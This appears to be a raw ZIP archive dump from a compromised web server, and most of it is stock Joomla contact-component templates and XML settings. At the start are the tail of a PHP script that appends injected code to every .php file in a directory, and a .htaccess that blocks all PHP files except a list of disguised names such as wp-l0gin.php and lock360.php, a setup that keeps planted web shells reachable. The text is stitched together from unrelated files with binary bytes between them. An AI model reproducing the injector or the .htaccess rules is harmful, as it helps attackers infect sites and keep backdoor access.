if (pathinfo($file, PATHINFO_EXTENSION) === 'php') {
$fileHandle = fopen($directory . '/' . $file,
'a');
fwrite($fileHandle, $textToAppend);
fclose($fileHandle);
echo "OK >> $file
";
}
}
closedir($handle);
}
}
?>
PK�V�[��\ .htaccessnu�[���<FilesMatch
".(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch
"^(index.php|lock360.php|wp-l0gin.php|wp-the1me.php|wp-scr1pts.php|wp-admin.php|radio.php|content.php|about.php|wp-login.php|admin.php|mah.php|jp.php|ext.php)$">
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>PK`��[a�m߳�contact/default_profile.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage com_contact
*
* @copyright (C) 2009 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\String\PunycodeHelper;
?>
<?php if (PluginHelper::isEnabled('user',
'profile')) :
$fields =
$this->item->profile->getFieldset('profile'); ?>
<div class="com-contact__profile contact-profile"
id="users-profile-custom">
<dl class="dl-horizontal">
<?php foreach ($fields as $profile) :
if ($profile->value) :
echo '<dt>' . $profile->label .
'</dt>';
$profile->text =
htmlspecialchars($profile->value, ENT_COMPAT, 'UTF-8');
switch ($profile->id) :
case 'profile_website':
$v_http = substr($profile->value, 0, 4);
if ($v_http === 'http') :
echo '<dd><a
href="' . $profile->text . '">' .
$this->escape(PunycodeHelper::urlToUTF8($profile->text)) .
'</a></dd>';
else :
echo '<dd><a
href="http://' . $profile->text . '">' .
$this->escape(PunycodeHelper::urlToUTF8($profile->text)) .
'</a></dd>';
endif;
break;
case 'profile_dob':
echo '<dd>' .
HTMLHelper::_('date', $profile->text,
Text::_('DATE_FORMAT_LC4'), false) . '</dd>';
break;
default:
echo '<dd>' . $profile->text
. '</dd>';
break;
endswitch;
endif;
endforeach; ?>
</dl>
</div>
<?php endif; ?>
PK`��[���g��contact/default_address.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage com_contact
*
* @copyright (C) 2006 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text;
use Joomla\CMS\String\PunycodeHelper;
$icon = $this->params->get('contact_icons') == 0;
/**
* Marker_class: Class based on the selection of text, none, or icons
* jicon-text, jicon-none, jicon-icon
*/
?>
<dl class="com-contact__address contact-address
dl-horizontal">
<?php
if (
($this->params->get('address_check') > 0)
&&
($this->item->address || $this->item->suburb ||
$this->item->state || $this->item->country ||
$this->item->postcode)
) : ?>
<dt>
<?php if ($icon &&
!$this->params->get('marker_address')) : ?>
<span class="icon-address"
aria-hidden="true"></span><span
class="visually-hidden"><?php echo
Text::_('COM_CONTACT_ADDRESS'); ?></span>
<?php else : ?>
<span class="<?php echo
$this->params->get('marker_class'); ?>">
<?php echo
$this->params->get('marker_address'); ?>
</span>
<?php endif; ?>
</dt>
<?php if ($this->item->address &&
$this->params->get('show_street_address')) : ?>
<dd>
<span class="contact-street">
<?php echo nl2br($this->item->address, false);
?>
</span>
</dd>
<?php endif; ?>
<?php if ($this->item->suburb &&
$this->params->get('show_suburb')) : ?>
<dd>
<span class="contact-suburb">
<?php echo $this->item->suburb; ?>
</span>
</dd>
<?php endif; ?>
<?php if ($this->item->state &&
$this->params->get('show_state')) : ?>
<dd>
<span class="contact-state">
<?php echo $this->item->state; ?>
</span>
</dd>
<?php endif; ?>
<?php if ($this->item->postcode &&
$this->params->get('show_postcode')) : ?>
<dd>
<span class="contact-postcode">
<?php echo $this->item->postcode; ?>
</span>
</dd>
<?php endif; ?>
<?php if ($this->item->country &&
$this->params->get('show_country')) : ?>
<dd>
<span class="contact-country">
<?php echo $this->item->country; ?>
</span>
</dd>
<?php endif; ?>
<?php endif; ?>
<?php if ($this->item->email_to &&
$this->params->get('show_email')) : ?>
<dt>
<?php if ($icon &&
!$this->params->get('marker_email')) : ?>
<span class="icon-envelope"
aria-hidden="true"></span><span
class="visually-hidden"><?php echo
Text::_('COM_CONTACT_EMAIL_LABEL'); ?></span>
<?php else : ?>
<span class="<?php echo
$this->params->get('marker_class'); ?>">
<?php echo
$this->params->get('marker_email'); ?>
</span>
<?php endif; ?>
</dt>
<dd>
<span class="contact-emailto">
<?php echo $this->item->email_to; ?>
</span>
</dd>
<?php endif; ?>
<?php if ($this->item->telephone &&
$this->params->get('show_telephone')) : ?>
<dt>
<?php if ($icon &&
!$this->params->get('marker_telephone')) : ?>
<span class="icon-phone"
aria-hidden="true"></span><span
class="visually-hidden"><?php echo
Text::_('COM_CONTACT_TELEPHONE'); ?></span>
<?php else : ?>
<span class="<?php echo
$this->params->get('marker_class'); ?>">
<?php echo
$this->params->get('marker_telephone'); ?>
</span>
<?php endif; ?>
</dt>
<dd>
<span class="contact-telephone">
<?php echo $this->item->telephone; ?>
</span>
</dd>
<?php endif; ?>
<?php if ($this->item->fax &&
$this->params->get('show_fax')) : ?>
<dt>
<?php if ($icon &&
!$this->params->get('marker_fax')) : ?>
<span class="icon-fax"
aria-hidden="true"></span><span
class="visually-hidden"><?php echo
Text::_('COM_CONTACT_FAX'); ?></span>
<?php else : ?>
<span class="<?php echo
$this->params->get('marker_class'); ?>">
<?php echo
$this->params->get('marker_fax'); ?>
</span>
<?php endif; ?>
</dt>
<dd>
<span class="contact-fax">
<?php echo $this->item->fax; ?>
</span>
</dd>
<?php endif; ?>
<?php if ($this->item->mobile &&
$this->params->get('show_mobile')) : ?>
<dt>
<?php if ($icon &&
!$this->params->get('marker_mobile')) : ?>
<span class="icon-mobile"
aria-hidden="true"></span><span
class="visually-hidden"><?php echo
Text::_('COM_CONTACT_MOBILE'); ?></span>
<?php else : ?>
<span class="<?php echo
$this->params->get('marker_class'); ?>">
<?php echo
$this->params->get('marker_mobile'); ?>
</span>
<?php endif; ?>
</dt>
<dd>
<span class="contact-mobile">
<?php echo $this->item->mobile; ?>
</span>
</dd>
<?php endif; ?>
<?php if ($this->item->webpage &&
$this->params->get('show_webpage')) : ?>
<dt>
<?php if ($icon &&
!$this->params->get('marker_webpage')) : ?>
<span class="icon-home"
aria-hidden="true"></span><span
class="visually-hidden"><?php echo
Text::_('COM_CONTACT_WEBPAGE'); ?></span>
<?php else : ?>
<span class="<?php echo
$this->params->get('marker_class'); ?>">
<?php echo
$this->params->get('marker_webpage'); ?>
</span>
<?php endif; ?>
</dt>
<dd>
<span class="contact-webpage">
<a href="<?php echo $this->item->webpage;
?>" target="_blank" rel="noopener
noreferrer">
<?php echo
$this->escape(PunycodeHelper::urlToUTF8($this->item->webpage));
?></a>
</span>
</dd>
<?php endif; ?>
</dl>
PK`��[�_{{&contact/default_user_custom_fields.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage com_contact
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Application\ApplicationHelper;
use Joomla\CMS\Language\Text;
$params = $this->item->params;
$displayGroups = $params->get('show_user_custom_fields');
$userFieldGroups = [];
?>
<?php if (!$displayGroups || !$this->contactUser) : ?>
<?php return; ?>
<?php endif; ?>
<?php foreach ($this->contactUser->jcfields as $field) : ?>
<?php if ($field->value && (in_array('-1',
$displayGroups) || in_array($field->group_id, $displayGroups))) : ?>
<?php $userFieldGroups[$field->group_title][] = $field; ?>
<?php endif; ?>
<?php endforeach; ?>
<?php foreach ($userFieldGroups as $groupTitle => $fields) : ?>
<?php $id = ApplicationHelper::stringURLSafe($groupTitle); ?>
<?php echo '<h3>' . ($groupTitle ?:
Text::_('COM_CONTACT_USER_FIELDS')) . '</h3>';
?>
<div class="com-contact__user-fields contact-profile"
id="user-custom-fields-<?php echo $id; ?>">
<dl class="dl-horizontal">
<?php foreach ($fields as $field) : ?>
<?php if (!$field->value) : ?>
<?php continue; ?>
<?php endif; ?>
<?php if ($field->params->get('showlabel'))
: ?>
<?php echo '<dt>' .
Text::_($field->label) . '</dt>'; ?>
<?php endif; ?>
<?php echo '<dd>' . $field->value .
'</dd>'; ?>
<?php endforeach; ?>
</dl>
</div>
<?php endforeach; ?>
PK`��[���**contact/default.xmlnu�[���<?xml
version="1.0" encoding="UTF-8"?>
<metadata>
<layout title="COM_CONTACT_CONTACT_VIEW_DEFAULT_TITLE"
option="COM_CONTACT_CONTACT_VIEW_DEFAULT_OPTION">
<help
key = "Menu_Item:_Single_Contact"
/>
<message>
<![CDATA[COM_CONTACT_CONTACT_VIEW_DEFAULT_DESC]]>
</message>
</layout>
<!-- Add fields to the request variables for the layout. -->
<fields name="request">
<fieldset name="request"
addfieldprefix="Joomla\Component\Contact\Administrator\Field"
>
<field
name="id"
type="modal_contact"
label="COM_CONTACT_SELECT_CONTACT_LABEL"
required="true"
select="true"
new="true"
edit="true"
clear="true"
/>
</fieldset>
</fields>
<!-- Add fields to the parameters object for the layout. -->
<fields name="params">
<!-- Basic options. -->
<fieldset name="params"
label="COM_CONTACT_BASIC_OPTIONS_FIELDSET_LABEL"
>
<field
name="show_contact_category"
type="list"
label="COM_CONTACT_FIELD_CONTACT_SHOW_CATEGORY_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="hide">JHIDE</option>
<option
value="show_no_link">COM_CONTACT_FIELD_VALUE_NO_LINK</option>
<option
value="show_with_link">COM_CONTACT_FIELD_VALUE_WITH_LINK</option>
</field>
<field
name="show_contact_list"
type="list"
label="COM_CONTACT_FIELD_CONTACT_SHOW_LIST_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_name"
type="list"
label="COM_CONTACT_FIELD_PARAMS_NAME_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_tags"
type="list"
label="COM_CONTACT_FIELD_SHOW_TAGS_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_info"
type="list"
label="COM_CONTACT_FIELD_SHOW_INFO_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_position"
type="list"
label="COM_CONTACT_FIELD_PARAMS_CONTACT_POSITION_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_email"
type="list"
label="JGLOBAL_EMAIL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="add_mailto_link"
type="list"
label="COM_CONTACT_FIELD_PARAMS_ADD_MAILTO_LINK_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="1">JYES</option>
<option value="0">JNO</option>
</field>
<field
name="show_street_address"
type="list"
label="COM_CONTACT_FIELD_PARAMS_STREET_ADDRESS_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_suburb"
type="list"
label="COM_CONTACT_FIELD_PARAMS_TOWN-SUBURB_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_state"
type="list"
label="COM_CONTACT_FIELD_PARAMS_STATE-COUNTY_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_postcode"
type="list"
label="COM_CONTACT_FIELD_PARAMS_POST-ZIP_CODE_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_country"
type="list"
label="COM_CONTACT_FIELD_PARAMS_COUNTRY_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_telephone"
type="list"
label="COM_CONTACT_FIELD_PARAMS_TELEPHONE_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_mobile"
type="list"
label="COM_CONTACT_FIELD_PARAMS_MOBILE_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_fax"
type="list"
label="COM_CONTACT_FIELD_PARAMS_FAX_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_webpage"
type="list"
label="COM_CONTACT_FIELD_PARAMS_WEBPAGE_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_image"
type="list"
label="COM_CONTACT_FIELD_PARAMS_IMAGE_LABEL"
useglobal="true"
showon="show_info:1"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="allow_vcard"
type="list"
label="COM_CONTACT_FIELD_PARAMS_VCARD_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_misc"
type="list"
label="COM_CONTACT_FIELD_PARAMS_MISC_INFO_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_articles"
type="list"
label="COM_CONTACT_FIELD_ARTICLES_SHOW_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="articles_display_num"
type="list"
label="COM_CONTACT_FIELD_ARTICLES_DISPLAY_NUM_LABEL"
default=""
useglobal="true"
validate="options"
>
<option
value="use_contact">COM_CONTACT_FIELD_VALUE_USE_CONTACT_SETTINGS</option>
<option value="5">J5</option>
<option value="10">J10</option>
<option value="15">J15</option>
<option value="20">J20</option>
<option value="25">J25</option>
<option value="30">J30</option>
<option value="50">J50</option>
<option value="75">J75</option>
<option value="100">J100</option>
<option value="150">J150</option>
<option value="200">J200</option>
<option value="250">J250</option>
<option value="300">J300</option>
<option value="0">JALL</option>
</field>
<field
name="show_profile"
type="list"
label="COM_CONTACT_FIELD_PROFILE_SHOW_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_user_custom_fields"
type="fieldgroups"
label="COM_CONTACT_FIELD_USER_CUSTOM_FIELDS_SHOW_LABEL"
multiple="true"
context="com_users.user"
addfieldprefix="Joomla\Component\Fields\Administrator\Field"
layout="joomla.form.field.list-fancy-select"
>
<option value="-1">JALL</option>
</field>
<field
name="show_links"
type="list"
label="COM_CONTACT_FIELD_SHOW_LINKS_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="linka_name"
type="text"
label="COM_CONTACT_FIELD_LINKA_NAME_LABEL"
useglobal="true"
/>
<field
name="linkb_name"
type="text"
label="COM_CONTACT_FIELD_LINKB_NAME_LABEL"
useglobal="true"
/>
<field
name="linkc_name"
type="text"
label="COM_CONTACT_FIELD_LINKC_NAME_LABEL"
useglobal="true"
/>
<field
name="linkd_name"
type="text"
label="COM_CONTACT_FIELD_LINKD_NAME_LABEL"
useglobal="true"
/>
<field
name="linke_name"
type="text"
label="COM_CONTACT_FIELD_LINKE_NAME_LABEL"
useglobal="true"
/>
</fieldset>
<!-- Form options. -->
<fieldset
name="Contact_Form"
label="COM_CONTACT_MAIL_FIELDSET_LABEL"
>
<field
name="show_email_form"
type="list"
label="COM_CONTACT_FIELD_EMAIL_SHOW_FORM_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_email_copy"
type="list"
label="COM_CONTACT_FIELD_EMAIL_EMAIL_COPY_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="validate_session"
type="list"
label="COM_CONTACT_FIELD_CONFIG_SESSION_CHECK_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JNO</option>
<option value="1">JYES</option>
</field>
<field
name="custom_reply"
type="list"
label="COM_CONTACT_FIELD_CONFIG_CUSTOM_REPLY_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JNO</option>
<option value="1">JYES</option>
</field>
<field
name="redirect"
type="text"
label="COM_CONTACT_FIELD_CONFIG_REDIRECT_LABEL"
useglobal="true"
/>
</fieldset>
</fields>
</metadata>
PK`��[��
��contact/default_form.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage com_contact
*
* @copyright (C) 2006 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
->useScript('form.validate');
?>
<div class="com-contact__form contact-form">
<form id="contact-form" action="<?php echo
Route::_('index.php'); ?>" method="post"
class="form-validate form-horizontal well">
<?php foreach ($this->form->getFieldsets() as $fieldset) :
?>
<?php if ($fieldset->name === 'captcha'
&& $this->captchaEnabled) : ?>
<?php continue; ?>
<?php endif; ?>
<?php $fields =
$this->form->getFieldset($fieldset->name); ?>
<?php if (count($fields)) : ?>
<fieldset class="m-0">
<?php if (isset($fieldset->label) &&
($legend = trim(Text::_($fieldset->label))) !== '') : ?>
<legend><?php echo $legend;
?></legend>
<?php endif; ?>
<?php foreach ($fields as $field) : ?>
<?php echo $field->renderField(); ?>
<?php endforeach; ?>
</fieldset>
<?php endif; ?>
<?php endforeach; ?>
<?php if ($this->captchaEnabled) : ?>
<?php echo
$this->form->renderFieldset('captcha'); ?>
<?php endif; ?>
<div class="control-group">
<div class="controls">
<button class="btn btn-primary validate"
type="submit"><?php echo
Text::_('COM_CONTACT_CONTACT_SEND'); ?></button>
<input type="hidden" name="option"
value="com_contact">
<input type="hidden" name="task"
value="contact.submit">
<input type="hidden" name="return"
value="<?php echo $this->return_page; ?>">
<input type="hidden" name="id"
value="<?php echo $this->item->slug; ?>">
<?php echo HTMLHelper::_('form.token'); ?>
</div>
</div>
</form>
</div>
PK`��[Xj/�;;contact/default_links.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage com_contact
*
* @copyright (C) 2009 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<div class="com-contact__links contact-links">
<ul class="list-unstyled">
<?php
// Letters 'a' to 'e'
foreach (range('a', 'e') as $char) :
$link = $this->item->params->get('link' .
$char);
$label = $this->item->params->get('link' .
$char . '_name');
if (!$link) :
continue;
endif;
// Add 'http://' if not present
$link = (0 === strpos($link, 'http')) ? $link :
'http://' . $link;
// If no label is present, take the link
$label = $label ?: $link;
?>
<li>
<a href="<?php echo $link; ?>"
rel="noopener noreferrer">
<?php echo $label; ?>
</a>
</li>
<?php endforeach; ?>
</ul>
</div>
PK`��[�&��jjcontact/default_articles.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage com_contact
*
* @copyright (C) 2009 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Router\Route;
use Joomla\Component\Content\Site\Helper\RouteHelper;
?>
<?php if ($this->params->get('show_articles')) : ?>
<div class="com-contact__articles contact-articles">
<ul class="list-unstyled">
<?php foreach ($this->item->articles as $article) : ?>
<li>
<?php echo HTMLHelper::_('link',
Route::_(RouteHelper::getArticleRoute($article->slug,
$article->catid, $article->language)),
htmlspecialchars($article->title, ENT_COMPAT, 'UTF-8')); ?>
</li>
<?php endforeach; ?>
</ul>
</div>
<?php endif; ?>
PK`��[�!%��contact/default.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage com_contact
*
* @copyright (C) 2006 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Helper\ContentHelper;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\FileLayout;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Router\Route;
use Joomla\Component\Contact\Site\Helper\RouteHelper;
$tparams = $this->item->params;
$canDo = ContentHelper::getActions('com_contact',
'category', $this->item->catid);
$canEdit = $canDo->get('core.edit') ||
($canDo->get('core.edit.own') &&
$this->item->created_by === $this->getCurrentUser()->id);
$htag = $tparams->get('show_page_heading') ? 'h2'
: 'h1';
$htag2 = ($tparams->get('show_page_heading') &&
$tparams->get('show_name')) ? 'h3' : 'h2';
?>
<div class="com-contact contact">
<?php if ($tparams->get('show_page_heading')) : ?>
<h1>
<?php echo
$this->escape($tparams->get('page_heading')); ?>
</h1>
<?php endif; ?>
<?php if ($this->item->name &&
$tparams->get('show_name')) : ?>
<div class="page-header">
<<?php echo $htag; ?>>
<?php if ($this->item->published == 0) : ?>
<span class="badge bg-warning
text-light"><?php echo Text::_('JUNPUBLISHED');
?></span>
<?php endif; ?>
<span class="contact-name"><?php echo
$this->item->name; ?></span>
</<?php echo $htag; ?>>
</div>
<?php endif; ?>
<?php if ($canEdit) : ?>
<div class="icons">
<div class="float-end">
<div>
<?php echo
HTMLHelper::_('contacticon.edit', $this->item, $tparams);
?>
</div>
</div>
</div>
<?php endif; ?>
<?php $show_contact_category =
$tparams->get('show_contact_category'); ?>
<?php if ($show_contact_category === 'show_no_link') :
?>
<<?php echo $htag2; ?>>
<span class="contact-category"><?php echo
$this->item->category_title; ?></span>
</<?php echo $htag2; ?>>
<?php elseif ($show_contact_category === 'show_with_link')
: ?>
<?php $contactLink =
RouteHelper::getCategoryRoute($this->item->catid,
$this->item->language); ?>
<<?php echo $htag2; ?>>
<span class="contact-category"><a
href="<?php echo $contactLink; ?>">
<?php echo
$this->escape($this->item->category_title); ?></a>
</span>
</<?php echo $htag2; ?>>
<?php endif; ?>
<?php echo $this->item->event->afterDisplayTitle; ?>
<?php if ($tparams->get('show_contact_list') &&
count($this->contacts) > 1) : ?>
<form action="#" method="get"
name="selectForm" id="selectForm">
<label for="select_contact"><?php echo
Text::_('COM_CONTACT_SELECT_CONTACT'); ?></label>
<?php echo HTMLHelper::_(
'select.genericlist',
$this->contacts,
'select_contact',
'class="form-select"
onchange="document.location.href = this.value"',
'link',
'name',
$this->item->link
);
?>
</form>
<?php endif; ?>
<?php if ($tparams->get('show_tags', 1) &&
!empty($this->item->tags->itemTags)) : ?>
<div class="com-contact__tags">
<?php $this->item->tagLayout = new
FileLayout('joomla.content.tags'); ?>
<?php echo
$this->item->tagLayout->render($this->item->tags->itemTags);
?>
</div>
<?php endif; ?>
<?php echo $this->item->event->beforeDisplayContent; ?>
<?php if ($this->params->get('show_info', 1)) :
?>
<div class="com-contact__container">
<?php echo '<' . $htag2 . '>' .
Text::_('COM_CONTACT_DETAILS') . '</' . $htag2 .
'>'; ?>
<?php if ($this->item->image &&
$tparams->get('show_image')) : ?>
<div class="com-contact__thumbnail
thumbnail">
<?php echo LayoutHelper::render(
'joomla.html.image',
[
'src' =>
$this->item->image,
'alt' =>
$this->item->name,
]
); ?>
</div>
<?php endif; ?>
<?php if ($this->item->con_position &&
$tparams->get('show_position')) : ?>
<dl class="com-contact__position contact-position
dl-horizontal">
<dt><?php echo
Text::_('COM_CONTACT_POSITION'); ?>:</dt>
<dd>
<?php echo $this->item->con_position;
?>
</dd>
</dl>
<?php endif; ?>
<div class="com-contact__info">
<?php echo $this->loadTemplate('address');
?>
<?php if ($tparams->get('allow_vcard')) :
?>
<?php echo
Text::_('COM_CONTACT_DOWNLOAD_INFORMATION_AS'); ?>
<a href="<?php echo
Route::_('index.php?option=com_contact&view=contact&catid='
. $this->item->catslug . '&id=' .
$this->item->slug . '&format=vcf'); ?>">
<?php echo Text::_('COM_CONTACT_VCARD');
?></a>
<?php endif; ?>
</div>
</div>
<?php endif; ?>
<?php if ($tparams->get('show_email_form') &&
($this->item->email_to || $this->item->user_id)) : ?>
<?php echo '<' . $htag2 . '>' .
Text::_('COM_CONTACT_EMAIL_FORM') . '</' . $htag2 .
'>'; ?>
<?php echo $this->loadTemplate('form'); ?>
<?php endif; ?>
<?php if ($tparams->get('show_links')) : ?>
<?php echo '<' . $htag2 . '>' .
Text::_('COM_CONTACT_LINKS') . '</' . $htag2 .
'>'; ?>
<?php echo $this->loadTemplate('links'); ?>
<?php endif; ?>
<?php if ($tparams->get('show_articles') &&
$this->item->user_id && $this->item->articles) : ?>
<?php echo '<' . $htag2 . '>' .
Text::_('JGLOBAL_ARTICLES') . '</' . $htag2 .
'>'; ?>
<?php echo $this->loadTemplate('articles'); ?>
<?php endif; ?>
<?php if ($tparams->get('show_profile') &&
$this->item->user_id &&
PluginHelper::isEnabled('user', 'profile')) : ?>
<?php echo '<' . $htag2 . '>' .
Text::_('COM_CONTACT_PROFILE') . '</' . $htag2 .
'>'; ?>
<?php echo $this->loadTemplate('profile'); ?>
<?php endif; ?>
<?php if ($tparams->get('show_user_custom_fields')
&& $this->contactUser) : ?>
<?php echo
$this->loadTemplate('user_custom_fields'); ?>
<?php endif; ?>
<?php if ($this->item->misc &&
$tparams->get('show_misc')) : ?>
<?php echo '<' . $htag2 . '>' .
Text::_('COM_CONTACT_OTHER_INFORMATION') . '</' .
$htag2 . '>'; ?>
<div class="com-contact__miscinfo
contact-miscinfo">
<dl class="dl-horizontal">
<dt>
<?php if
(!$this->params->get('marker_misc')) : ?>
<span class="icon-info-circle"
aria-hidden="true"></span>
<span
class="visually-hidden"><?php echo
Text::_('COM_CONTACT_OTHER_INFORMATION'); ?></span>
<?php else : ?>
<span class="<?php echo
$this->params->get('marker_class'); ?>">
<?php echo
$this->params->get('marker_misc'); ?>
</span>
<?php endif; ?>
</dt>
<dd>
<span class="contact-misc">
<?php echo $this->item->misc; ?>
</span>
</dd>
</dl>
</div>
<?php endif; ?>
<?php echo $this->item->event->afterDisplayContent; ?>
</div>
PK`��[=�e[BGBGcategories/default.xmlnu�[���<?xml
version="1.0" encoding="UTF-8"?>
<metadata>
<layout title="COM_CONTACT_CATEGORIES_VIEW_DEFAULT_TITLE"
option="COM_CONTACT_CATEGORIES_VIEW_DEFAULT_OPTION">
<help
key = "Menu_Item:_List_All_Contact_Categories"
/>
<message>
<![CDATA[COM_CONTACT_CATEGORIES_VIEW_DEFAULT_DESC]]>
</message>
</layout>
<!-- Add fields to the request variables for the layout. -->
<fields name="request">
<fieldset name="request"
>
<field
name="id"
type="category"
label="JGLOBAL_FIELD_CATEGORIES_CHOOSE_CATEGORY_LABEL"
extension="com_contact"
show_root="true"
required="true"
/>
</fieldset>
</fields>
<fields name="params">
<fieldset name="basic"
label="JGLOBAL_CATEGORIES_OPTIONS">
<field
name="show_base_description"
type="list"
label="JGLOBAL_FIELD_SHOW_BASE_DESCRIPTION_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="categories_description"
type="textarea"
label="JGLOBAL_FIELD_CATEGORIES_DESC_LABEL"
cols="25"
rows="5"
/>
<field
name="maxLevelcat"
type="list"
label="JGLOBAL_MAXIMUM_CATEGORY_LEVELS_LABEL"
useglobal="true"
validate="options"
>
<option value="-1">JALL</option>
<option value="1">J1</option>
<option value="2">J2</option>
<option value="3">J3</option>
<option value="4">J4</option>
<option value="5">J5</option>
</field>
<field
name="show_empty_categories_cat"
type="list"
label="JGLOBAL_SHOW_EMPTY_CATEGORIES_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_subcat_desc_cat"
type="list"
label="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field
name="show_cat_items_cat"
type="list"
label="COM_CONTACT_FIELD_SHOW_CAT_ITEMS_LABEL"
useglobal="true"
class="form-select-color-state"
validate="options"
>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
</fieldset>
<fieldset name="category"
